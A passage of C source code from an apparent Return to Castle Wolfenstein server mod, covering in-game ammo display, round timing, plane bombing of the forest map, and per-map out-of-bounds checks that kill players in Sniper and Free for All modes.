trap_SendServerCommand(ent-g_entities, va("cp \"^3Mp40:^5%i/%i ^3Colt:^5%i/%i ^3Nades:^5%i \n\"",mainweapclip,mainweapres,pistweapclip,pistweapres,nadeammo));
else
trap_SendServerCommand(ent-g_entities, va("cp \"^3Mp40:^5%i/%i ^3Luger:^5%i/%i ^3Nades:^5%i \n\"",mainweapclip,mainweapres,pistweapclip,pistweapres,nadeammo));
}else if(COM_BitCheck( target->client->ps.weapons, WP_THOMPSON)){
if(target->client->sess.sessionTeam == TEAM_BLUE)
trap_SendServerCommand(ent-g_entities, va("cp \"^3Thompson:^5%i/%i ^3Colt:^5%i/%i ^3Nades:^5%i \n\"",mainweapclip,mainweapres,pistweapclip,pistweapres,nadeammo));
else
trap_SendServerCommand(ent-g_entities, va("cp \"^3Thompson:^5%i/%i ^3Luger:^5%i/%i ^3Nades:^5%i \n\"",mainweapclip,mainweapres,pistweapclip,pistweapres,nadeammo));
}else if(COM_BitCheck( target->client->ps.weapons, WP_STEN)){
if(target->client->sess.sessionTeam == TEAM_BLUE)
trap_SendServerCommand(ent-g_entities, va("cp \"^3Sten:^5%i/%i ^3Colt:^5%i/%i ^3Nades:^5%i \n\"",mainweapclip,mainweapres,pistweapclip,pistweapres,nadeammo));
else
trap_SendServerCommand(ent-g_entities, va("cp \"^3Sten:^5%i/%i ^3Luger:^5%i/%i ^3Nades:^5%i \n\"",mainweapclip,mainweapres,pistweapclip,pistweapres,nadeammo));
}else if(COM_BitCheck( target->client->ps.weapons, WP_PANZERFAUST)){
if(target->client->sess.sessionTeam == TEAM_BLUE)
trap_SendServerCommand(ent-g_entities, va("cp \"^3Panzer:^5%i/%i ^3Colt:^5%i/%i ^3Nades:^5%i \n\"",mainweapclip,mainweapres,pistweapclip,pistweapres,nadeammo));
else
trap_SendServerCommand(ent-g_entities, va("cp \"^3Panzer:^5%i/%i ^3Luger:^5%i/%i ^3Nades:^5%i \n\"",mainweapclip,mainweapres,pistweapclip,pistweapres,nadeammo));
}else if(COM_BitCheck( target->client->ps.weapons, WP_VENOM)){
if(target->client->sess.sessionTeam == TEAM_BLUE)
trap_SendServerCommand(ent-g_entities, va("cp \"^3Venom:^5%i/%i ^3Colt:^5%i/%i ^3Nades:^5%i \n\"",mainweapclip,mainweapres,pistweapclip,pistweapres,nadeammo));
else
trap_SendServerCommand(ent-g_entities, va("cp \"^3Venom:^5%i/%i ^3Luger:^5%i/%i ^3Nades:^5%i \n\"",mainweapclip,mainweapres,pistweapclip,pistweapres,nadeammo));
}else if(COM_BitCheck( target->client->ps.weapons, WP_FLAMETHROWER)){
if(target->client->sess.sessionTeam == TEAM_BLUE)
trap_SendServerCommand(ent-g_entities, va("cp \"^3Flamethrower:^5%i ^3Colt:^5%i/%i ^3Nades:^5%i \n\"",mainweapclip,pistweapclip,pistweapres,nadeammo));
else
trap_SendServerCommand(ent-g_entities, va("cp \"^3Flamethrower:^5%i ^3Luger:^5%i/%i ^3Nades:^5%i \n\"",mainweapclip,pistweapclip,pistweapres,nadeammo));
}else if(COM_BitCheck( target->client->ps.weapons, WP_MAUSER)){
if(target->client->sess.sessionTeam == TEAM_BLUE)
trap_SendServerCommand(ent-g_entities, va("cp \"^3Mauser:^5%i/%i ^3Colt:^5%i/%i ^3Nades:^5%i \n\"",mainweapclip,mainweapres, pistweapclip,pistweapres,nadeammo));
else
trap_SendServerCommand(ent-g_entities, va("cp \"^3Mauser:^5%i/%i ^3Luger:^5%i/%i ^3Nades:^5%i \n\"",mainweapclip,mainweapres,pistweapclip,pistweapres,nadeammo));
}else{
if(target->client->sess.sessionTeam == TEAM_BLUE)
trap_SendServerCommand(ent-g_entities, va("cp \"^3Colt:^5%i/%i ^3Nades:^5%i \n\"",pistweapclip,pistweapres,nadeammo));
else
trap_SendServerCommand(ent-g_entities, va("cp \"^3Luger:^5%i/%i ^3Nades:^5%i \n\"",pistweapclip,pistweapres,nadeammo));
}
}
char *GetLevelTime(){
int Objseconds,Objmins,Objtens;
Objseconds = (((g_timelimit.value * 60 * 1000) - ((level.time - level.startTime))) / 1000);//begin martin - this line was a bitch :-)
Objmins = Objseconds / 60;
Objseconds -= Objmins * 60;
Objtens = Objseconds / 10;
Objseconds -= Objtens * 10;
if(Objseconds < 0)
Objseconds = 0;
if(Objtens < 0)
Objtens = 0;
if(Objmins < 0)
Objmins = 0;
return va("%i:%i%i",Objmins,Objtens,Objseconds);//end martin
}
/*
==================
ForestPlanesThink
==================
*/
//attempting to give the planes on forest a brain
//(maybe not a smart one but its still abrain function)
void ForestPlanesThink(gentity_t *ent){
//Set the next time we are going to think
ent->nextthink = level.time+(15000 + crandom()*10000);
//set what we want to do next time we think
ent->think = ForestPlanesThink;
//yea lets spawn some bombs :D
SpawnPlaneBombs(ent);
}
/*
==================
SpawnPlaneBombs
==================
*/
//this will do the act of the whole bomb thing from the planes
void SpawnPlaneBombs(gentity_t *ent){
int i;
gentity_t *bomb;
vec3_t tmpdir;
SnapVector( ent->s.pos.trBase );
for (i=0;i<5;i++) {
bomb = G_Spawn();
bomb->classname = "rocket";
bomb->s.eType = ET_MISSILE;
bomb->r.svFlags = SVF_USE_CURRENT_ORIGIN | SVF_BROADCAST;
bomb->r.ownerNum = ent->s.number;
bomb->parent = ent;
bomb->s.weapon = WP_PANZERFAUST;
bomb->damage = G_GetWeaponDamage(WP_ROCKET_LAUNCHER); // JPW NERVE
bomb->splashDamage = G_GetWeaponDamage(WP_ROCKET_LAUNCHER); // JPW NERVE
bomb->splashRadius = G_GetWeaponDamage(WP_ROCKET_LAUNCHER);
bomb->clipmask = MASK_MISSILESHOT;
bomb->s.pos.trType = TR_GRAVITY;
bomb->s.pos.trTime = level.time; // move a bit on the very first frame
FindPlaneDir(ent, tmpdir);
tmpdir[0] += crandom()*45;
tmpdir[1] += crandom()*45;
tmpdir[2] = 0;//-10
VectorNormalize(tmpdir);
VectorScale(tmpdir,750,tmpdir);
VectorCopy(tmpdir,bomb->s.pos.trDelta);
SnapVector( bomb->s.pos.trDelta ); // save net bandwidth
VectorCopy(ent->s.pos.trBase,bomb->s.pos.trBase);
//VectorCopy(ent->r.currentAngles,bomb->r.currentAngles);
VectorCopy(ent->s.pos.trBase,bomb->r.currentOrigin);
}
//G_LogPrintf("angles TEST: %s\n",vtos( ent-> ) );
}
void FindPlaneDir( gentity_t *ent, vec3_t dir){
/* //n
if(ent->r.currentAngles[1] > 65 &&
//ne
//e
//se
//s
//sw
//w
//nw
*/
}
/*
=======================
DeathmatchCheckLocation
=======================
*/
void DeathmatchCheckLocation(gentity_t *ent){
gentity_t *te;
char location[1000];
// skip if not connected
if (ent->client->pers.connected != CON_CONNECTED)
return;
// skip if not on team
if (ent->client->sess.sessionTeam == TEAM_SPECTATOR)
return;
//lets skip if they are dead no need to kill dead people right
if (ent->client->ps.stats[STAT_HEALTH] <= 0)
return;
if (ent->client->ps.pm_flags & PMF_LIMBO)
return;
Team_GetLocationMsg(ent, location, sizeof(location));
if( (!Q_stricmp(ent->client->pers.location, "beach") && ent->client->ps.origin[0] < 1325) || (!Q_stricmp(ent->client->pers.location, "outside axis base")) ) {
G_Damage ( ent, NULL, NULL, NULL, NULL, 100000, DAMAGE_NO_PROTECTION, 1000);
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^5%s ^3is off limits during ^5Free for All!\"" ,ent->client->pers.location));
te = G_TempEntity( ent->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex("sound/player/denied.wav"); //Agent, in case they didnt see the message, wake them up
te->s.teamNum = ent->s.clientNum;
}
}
/*
======================
SniperCheckLocation
-Basically this is a dump of the work that u did before ^^^^^^
+Supported Maps+
-Assault
-Base
-Beach
-Castle
-Depot
-Destruction
-Sub
-Village
-Forest <-single player map :)
*** S4ND, check if these are good ( i know beach is... [HS]SN!P!NG :)
======================
*/
void SniperCheckLocation(gentity_t *ent){
gentity_t *te;
char location[1000];
char mapName[1000];
trap_Cvar_VariableStringBuffer( "mapname", mapName, sizeof(mapName) );
//Dump
// skip if not connected
if(g_gamestate.integer != GS_PLAYING)
return;
if (ent->client->pers.connected != CON_CONNECTED)
return;
// skip if not on team
if (ent->client->sess.sessionTeam == TEAM_SPECTATOR)
return;
//lets skip if they are dead no need to kill dead people right
if (ent->client->ps.stats[STAT_HEALTH] <= 0)
return;
if (ent->client->ps.pm_flags & PMF_LIMBO)
return;
Team_GetLocationMsg(ent, location, sizeof(location));
//Alphabetacial order, FOLLOW IT!
//ALLIES CAN'T GO HERE:
if (ent->client->sess.sessionTeam == TEAM_BLUE){
if ((!Q_stricmp(mapName, "border")) && (ent->client->ps.origin[0] < -1886)){
G_Damage ( ent, NULL, NULL, NULL, NULL, 100000, DAMAGE_NO_PROTECTION, 1000);
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^3Axis Base is out of bounds during ^5Sniper Mode^7.\"" ,ent->client->pers.location));
te = G_TempEntity( ent->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex("sound/player/denied.wav");
te->s.teamNum = ent->s.clientNum;
}
if ((!Q_stricmp(mapName, "boss1")) && (ent->client->ps.origin[1] < -350)){
G_Damage ( ent, NULL, NULL, NULL, NULL, 100000, DAMAGE_NO_PROTECTION, 1000);
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^3This Area is out of bounds during ^5Sniper Mode^7.\"" ,ent->client->pers.location));
te = G_TempEntity( ent->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex("sound/player/denied.wav");
te->s.teamNum = ent->s.clientNum;
}
if ((!Q_stricmp(mapName, "factory")) && (ent->client->ps.origin[0] > 1430)){
G_Damage ( ent, NULL, NULL, NULL, NULL, 100000, DAMAGE_NO_PROTECTION, 1000);
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^3This Area is out of bounds during ^5Sniper Mode^7.\"" ,ent->client->pers.location));
te = G_TempEntity( ent->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex("sound/player/denied.wav");
te->s.teamNum = ent->s.clientNum;
}
if ((!Q_stricmp(mapName, "ffsniper")) && (ent->client->ps.origin[1] > 840 )){
G_Damage ( ent, NULL, NULL, NULL, NULL, 100000, DAMAGE_NO_PROTECTION, 1000);
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^5Axis Side ^3is out of bounds during ^5Sniper Mode^7.\"" ,ent->client->pers.location));
te = G_TempEntity( ent->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex("sound/player/denied.wav");
te->s.teamNum = ent->s.clientNum;
}
if ((!Q_stricmp(mapName, "fun_beach_2")) && (ent->client->ps.origin[2] > 1000)){
G_Damage ( ent, NULL, NULL, NULL, NULL, 100000, DAMAGE_NO_PROTECTION, 1000);
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^3This Area is out of bounds during ^5Sniper Mode^7.\"" ,ent->client->pers.location));
te = G_TempEntity( ent->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex("sound/player/denied.wav");
te->s.teamNum = ent->s.clientNum;
}
if ((!Q_stricmp(mapName, "hs_bridge")) && (ent->client->ps.origin[1] < -1714 )){
G_Damage ( ent, NULL, NULL, NULL, NULL, 100000, DAMAGE_NO_PROTECTION, 1000);
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^5Axis Side ^3is out of bounds during ^5Sniper Mode^7.\"" ,ent->client->pers.location));
te = G_TempEntity( ent->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex("sound/player/denied.wav");
te->s.teamNum = ent->s.clientNum;
}
if ((!Q_stricmp(mapName, "mp_assault")) && ((!Q_stricmp(ent->client->pers.location, "axis hangar"))
/*||(!Q_stricmp(ent->client->pers.location, "main warehouse")) || (!Q_stricmp(ent->client->pers.location, "back of warehouse")*/)){
G_Damage ( ent, NULL, NULL, NULL, NULL, 100000, DAMAGE_NO_PROTECTION, 1000);
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^5%s ^3is out of bounds during ^5Sniper Mode^7.\"" ,ent->client->pers.location));
te = G_TempEntity( ent->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex("sound/player/denied.wav");
te->s.teamNum = ent->s.clientNum;
}
if ((!Q_stricmp(mapName, "mp_base")) && (ent->client->ps.origin[0] > 2515)){
G_Damage ( ent, NULL, NULL, NULL, NULL, 100000, DAMAGE_NO_PROTECTION, 1000);
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^5%s ^3is out of bounds during ^5Sniper Mode^7.\"" ,ent->client->pers.location));
te = G_TempEntity( ent->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex("sound/player/denied.wav");
te->s.teamNum = ent->s.clientNum;
}
if ((!Q_stricmp(mapName, "mp_beach") && (!Q_stricmp(ent->client->pers.location, "trenches")))){
G_Damage ( ent, NULL, NULL, NULL, NULL, 100000, DAMAGE_NO_PROTECTION, 1000);
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^5%s ^3is out of bounds during ^5Sniper Mode^7.\"" ,ent->client->pers.location));
te = G_TempEntity( ent->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex("sound/player/denied.wav");
te->s.teamNum = ent->s.clientNum;
}
if ((!Q_stricmp(mapName, "mp_castle")) && ((!Q_stricmp(ent->client->pers.location, "west axis spawn"))
||(!Q_stricmp(ent->client->pers.location, "east axis spawn"))||(!Q_stricmp(ent->client->pers.location, "courtyard connection")))){
G_Damage ( ent, NULL, NULL, NULL, NULL, 100000, DAMAGE_NO_PROTECTION, 1000);
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^5%s ^3is out of bounds during ^5Sniper Mode^7.\"" ,ent->client->pers.location));
te = G_TempEntity( ent->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex("sound/player/denied.wav");
te->s.teamNum = ent->s.clientNum;
}
if ((!Q_stricmp(mapName, "mp_depot")) && ((!Q_stricmp(ent->client->pers.location, "lower tunnels"))
||(!Q_stricmp(ent->client->pers.location, "coal depot")))){
G_Damage ( ent, NULL, NULL, NULL, NULL, 100000, DAMAGE_NO_PROTECTION, 1000);
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^5%s ^3is out of bounds during ^5Sniper Mode^7.\"" ,ent->client->pers.location));
te = G_TempEntity( ent->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex("sound/player/denied.wav");
te->s.teamNum = ent->s.clientNum;
}
if ((!Q_stricmp(mapName, "mp_destruction")) && (!Q_stricmp(ent->client->pers.location, "axis reinforcement"))){
G_Damage ( ent, NULL, NULL, NULL, NULL, 100000, DAMAGE_NO_PROTECTION, 1000);
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^5%s ^3is out of bounds during ^5Sniper Mode^7.\"" ,ent->client->pers.location));
te = G_TempEntity( ent->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex("sound/player/denied.wav");
te->s.teamNum = ent->s.clientNum;
}
// if (!Q_stricmp(mapName, "forest") &&(ent->client->ps.origin[1] < -3509)){
if ((!Q_stricmp(mapName, "forest")) && ((!Q_stricmp(ent->client->pers.location, "southwest forest")))){
G_Damage ( ent, NULL, NULL, NULL, NULL, 100000, DAMAGE_NO_PROTECTION, 1000);
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^5%s ^3is out of bounds during ^5Sniper Mode^7.\"" ,ent->client->pers.location));
te = G_TempEntity( ent->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex("sound/player/denied.wav");
te->s.teamNum = ent->s.clientNum;
}
if (!Q_stricmp(mapName, "mp_frost") &&(ent->client->ps.origin[0] > 3666)){
G_Damage ( ent, NULL, NULL, NULL, NULL, 100000, DAMAGE_NO_PROTECTION, 1000);
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^5%s ^3is out of bounds during ^5Sniper Mode^7.\"" ,ent->client->pers.location));
te = G_TempEntity( ent->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex("sound/player/denied.wav");
te->s.teamNum = ent->s.clientNum;
}
if ((!Q_stricmp(mapName, "mp_ice")) && ((ent->client->ps.origin[0] > -4557) ||(ent->client->ps.origin[0] < -6942)||(ent->client->ps.origin[1] < 800))){
G_Damage ( ent, NULL, NULL, NULL, NULL, 100000, DAMAGE_NO_PROTECTION, 1000);
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^5%s ^3is out of bounds during ^5Sniper Mode^7.\"" ,ent->client->pers.location));
te = G_TempEntity( ent->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex("sound/player/denied.wav");
te->s.teamNum = ent->s.clientNum;
}
if ((!Q_stricmp(mapName, "mp_tank")) && ((ent->client->ps.origin[0] < -7127) ||(ent->client->ps.origin[2] < -380))){
G_Damage ( ent, NULL, NULL, NULL, NULL, 100000, DAMAGE_NO_PROTECTION, 1000);
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^3This area is out of bounds during ^5Sniper Mode^7.\"" ,ent->client->pers.location));
te = G_TempEntity( ent->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex("sound/player/denied.wav");
te->s.teamNum = ent->s.clientNum;
}
if ((!Q_stricmp(mapName, "mp_sub")) && (!Q_stricmp(ent->client->pers.location, "barracks"))){
G_Damage ( ent, NULL, NULL, NULL, NULL, 100000, DAMAGE_NO_PROTECTION, 1000);
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^5%s ^3is out of bounds during ^5Sniper Mode^7.\"" ,ent->client->pers.location));
te = G_TempEntity( ent->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex("sound/player/denied.wav");
te->s.teamNum = ent->s.clientNum;
}
if ((!Q_stricmp(mapName, "norway")) && (ent->client->ps.origin[0] < -4502)){
G_Damage ( ent, NULL, NULL, NULL, NULL, 100000, DAMAGE_NO_PROTECTION, 1000);
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^5%s ^3is out of bounds during ^5Sniper Mode^7.\"" ,ent->client->pers.location));
te = G_TempEntity( ent->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex("sound/player/denied.wav");
te->s.teamNum = ent->s.clientNum;
}
if ((!Q_stricmp(mapName, "ogg_snipers")) && (ent->client->ps.origin[1] < -1583 )){
G_Damage ( ent, NULL, NULL, NULL, NULL, 100000, DAMAGE_NO_PROTECTION, 1000);
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^5Axis Spawn ^3is out of bounds during ^5Sniper Mode^7.\"" ,ent->client->pers.location));
te = G_TempEntity( ent->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex("sound/player/denied.wav");
te->s.teamNum = ent->s.clientNum;
}
if ((!Q_stricmp(mapName, "rwfsniper2")) && ((ent->client->ps.origin[0] > 3340) ||
(ent->client->ps.origin[0] < -3432) ||(ent->client->ps.origin[1] > 2800)||(ent->client->ps.origin[1] < -3300) ||
(ent->client->ps.origin[0] > 305))){
G_Damage ( ent, NULL, NULL, NULL, NULL, 100000, DAMAGE_NO_PROTECTION, 1000);
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^3This Area is out of bounds during ^5Sniper Mode^7.\"" ,ent->client->pers.location));
te = G_TempEntity( ent->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex("sound/player/denied.wav");
te->s.teamNum = ent->s.clientNum;
}
if ((!Q_stricmp(mapName, "sfm")) && (ent->client->ps.origin[1] < -2530 )){
G_Damage ( ent, NULL, NULL, NULL, NULL, 100000, DAMAGE_NO_PROTECTION, 1000);
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^5Axis Spawn ^3is out of bounds during ^5Sniper Mode^7.\"" ,ent->client->pers.location));
te = G_TempEntity( ent->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex("sound/player/denied.wav");
te->s.teamNum = ent->s.clientNum;
}
if ((!Q_stricmp(mapName, "tt_trench")) && (ent->client->ps.origin[1] < 434)){
G_Damage ( ent, NULL, NULL, NULL, NULL, 100000, DAMAGE_NO_PROTECTION, 1000);
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^3This Area is out of bounds during ^5Sniper Mode^7.\"" ,ent->client->pers.location));
te = G_TempEntity( ent->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex("sound/player/denied.wav");
te->s.teamNum = ent->s.clientNum;
}
if ((!Q_stricmp(mapName, "dam")) && (ent->client->ps.origin[1] > 3076)){
G_Damage ( ent, NULL, NULL, NULL, NULL, 100000, DAMAGE_NO_PROTECTION, 1000);
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^3This Area is out of bounds during ^5Sniper Mode^7.\"" ,ent->client->pers.location));
te = G_TempEntity( ent->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex("sound/player/denied.wav");
te->s.teamNum = ent->s.clientNum;
}
if ((!Q_stricmp(mapName, "trainyard")) && (ent->client->ps.origin[0] > 2400)){
G_Damage ( ent, NULL, NULL, NULL, NULL, 100000, DAMAGE_NO_PROTECTION, 1000);
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^3This Area is out of bounds during ^5Sniper Mode^7.\"" ,ent->client->pers.location));
te = G_TempEntity( ent->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex("sound/player/denied.wav");
te->s.teamNum = ent->s.clientNum;
}
// we are already skipping specs, so this else wont apply to them
//axis cant go here
}else {
if ((!Q_stricmp(mapName, "assault")) && ((ent->client->ps.origin[1] > 3700)&&(ent->client->ps.origin[0] < -2980))){
G_Damage ( ent, NULL, NULL, NULL, NULL, 100000, DAMAGE_NO_PROTECTION, 1000);
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^3This Area is out of bounds during ^5Sniper Mode^7.\"" ,ent->client->pers.location));
te = G_TempEntity( ent->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex("sound/player/denied.wav");
te->s.teamNum = ent->s.clientNum;
}
if ((!Q_stricmp(mapName, "border")) && (ent->client->ps.origin[0] > 2846)){
G_Damage ( ent, NULL, NULL, NULL, NULL, 100000, DAMAGE_NO_PROTECTION, 1000);
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^3Allied Base is out of bounds during ^5Sniper Mode^7.\"" ,ent->client->pers.location));
te = G_TempEntity( ent->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex("sound/player/denied.wav");
te->s.teamNum = ent->s.clientNum;
}
if ((!Q_stricmp(mapName, "boss1")) && ((ent->client->ps.origin[1] > 475))){
G_Damage ( ent, NULL, NULL, NULL, NULL, 100000, DAMAGE_NO_PROTECTION, 1000);
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^3This Area is out of bounds during ^5Sniper Mode^7.\"" ,ent->client->pers.location));
te = G_TempEntity( ent->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex("sound/player/denied.wav");
te->s.teamNum = ent->s.clientNum;
}
if ((!Q_stricmp(mapName, "ffsniper")) && (ent->client->ps.origin[1] < -1706 )){
G_Damage ( ent, NULL, NULL, NULL, NULL, 100000, DAMAGE_NO_PROTECTION, 1000);
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^5Allied Side ^3is out of bounds during ^5Sniper Mode^7.\"" ,ent->client->pers.location));
te = G_TempEntity( ent->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex("sound/player/denied.wav");
te->s.teamNum = ent->s.clientNum;
}
if ((!Q_stricmp(mapName, "fun_beach_2")) && ((ent->client->ps.origin[2] < 728) ||(ent->client->ps.origin[0] > 4000) )){
G_Damage ( ent, NULL, NULL, NULL, NULL, 100000, DAMAGE_NO_PROTECTION, 1000);
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^3This Area is out of bounds during ^5Sniper Mode^7.\"" ,ent->client->pers.location));
te = G_TempEntity( ent->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex("sound/player/denied.wav");
te->s.teamNum = ent->s.clientNum;
}
if ((!Q_stricmp(mapName, "hs_bridge")) && (ent->client->ps.origin[1] > 1850 )){
G_Damage ( ent, NULL, NULL, NULL, NULL, 100000, DAMAGE_NO_PROTECTION, 1000);
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^5Allied Side ^3is out of bounds during ^5Sniper Mode^7.\"" ,ent->client->pers.location));
te = G_TempEntity( ent->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex("sound/player/denied.wav");
te->s.teamNum = ent->s.clientNum;
}
//allied hangar
if ((!Q_stricmp(mapName, "mp_assault")) && ((ent->client->ps.origin[0] > 3924))){
G_Damage ( ent, NULL, NULL, NULL, NULL, 100000, DAMAGE_NO_PROTECTION, 1000);
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^5%s ^3is out of bounds during ^5Sniper Mode^7.\"" ,ent->client->pers.location));
te = G_TempEntity( ent->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex("sound/player/denied.wav");
te->s.teamNum = ent->s.clientNum;
}
if ((!Q_stricmp(mapName, "mp_base")) && (!Q_stricmp(ent->client->pers.location, "allied deployment"))){
G_Damage ( ent, NULL, NULL, NULL, NULL, 100000, DAMAGE_NO_PROTECTION, 1000);
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^5%s ^3is out of bounds during ^5Sniper Mode^7.\"" ,ent->client->pers.location));
te = G_TempEntity( ent->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex("sound/player/denied.wav");
te->s.teamNum = ent->s.clientNum;
}
if ((!Q_stricmp(mapName, "mp_beach")) && ((!Q_stricmp(ent->client->pers.location, "radio stairway"))
||(!Q_stricmp(ent->client->pers.location, "back stairway")))){
G_Damage ( ent, NULL, NULL, NULL, NULL, 100000, DAMAGE_NO_PROTECTION, 1000);
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^5%s ^3is out of bounds during ^5Sniper Mode^7.\"" ,ent->client->pers.location));
te = G_TempEntity( ent->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex("sound/player/denied.wav");
te->s.teamNum = ent->s.clientNum;
}
if (!Q_stricmp(mapName, "mp_beach") && ent->client->ps.origin[0] < 1100){
G_Damage ( ent, NULL, NULL, NULL, NULL, 100000, DAMAGE_NO_PROTECTION, 1000);
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^5Beach ^3is out of bounds during ^5Sniper Mode^7.\"" ,ent->client->pers.location));
te = G_TempEntity( ent->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex("sound/player/denied.wav");
te->s.teamNum = ent->s.clientNum;
}
//if ((!Q_stricmp(mapName, "mp_castle")) && ((!Q_stricmp(ent->client->pers.location, "sw ladder room")) ||(!Q_stricmp(ent->client->pers.location, "north stairwell"))))
if ((!Q_stricmp(mapName, "mp_castle")) && ((ent->client->ps.origin[2] < 0))){
G_Damage ( ent, NULL, NULL, NULL, NULL, 100000, DAMAGE_NO_PROTECTION, 1000);
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^5%s ^3is out of bounds during ^5Sniper Mode^7.\"" ,ent->client->pers.location));
te = G_TempEntity( ent->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex("sound/player/denied.wav");
te->s.teamNum = ent->s.clientNum;
}
if ((!Q_stricmp(mapName, "mp_depot")) && ((!Q_stricmp(ent->client->pers.location, "lower tunnels"))
||(!Q_stricmp(ent->client->pers.location, "garage")) || (!Q_stricmp(ent->client->pers.location, "cargo bay")))){
G_Damage ( ent, NULL, NULL, NULL, NULL, 100000, DAMAGE_NO_PROTECTION, 1000);
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^5%s ^3is out of bounds during ^5Sniper Mode^7.\"" ,ent->client->pers.location));
te = G_TempEntity( ent->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex("sound/player/denied.wav");
te->s.teamNum = ent->s.clientNum;
}
if ((!Q_stricmp(mapName, "mp_destruction")) && ((!Q_stricmp(ent->client->pers.location, "allied reinforcement"))
||(!Q_stricmp(ent->client->pers.location, "southern road")))){
G_Damage ( ent, NULL, NULL, NULL, NULL, 100000, DAMAGE_NO_PROTECTION, 1000);
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^5%s ^3is out of bounds during ^5Sniper Mode^7.\"" ,ent->client->pers.location));
te = G_TempEntity( ent->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex("sound/player/denied.wav");
te->s.teamNum = ent->s.clientNum;
}
// if (!Q_stricmp(mapName, "forest") &&(ent->client->ps.origin[1] < -3509)){
if ((!Q_stricmp(mapName, "forest")) && ((!Q_stricmp(ent->client->pers.location, "southwest forest")))){
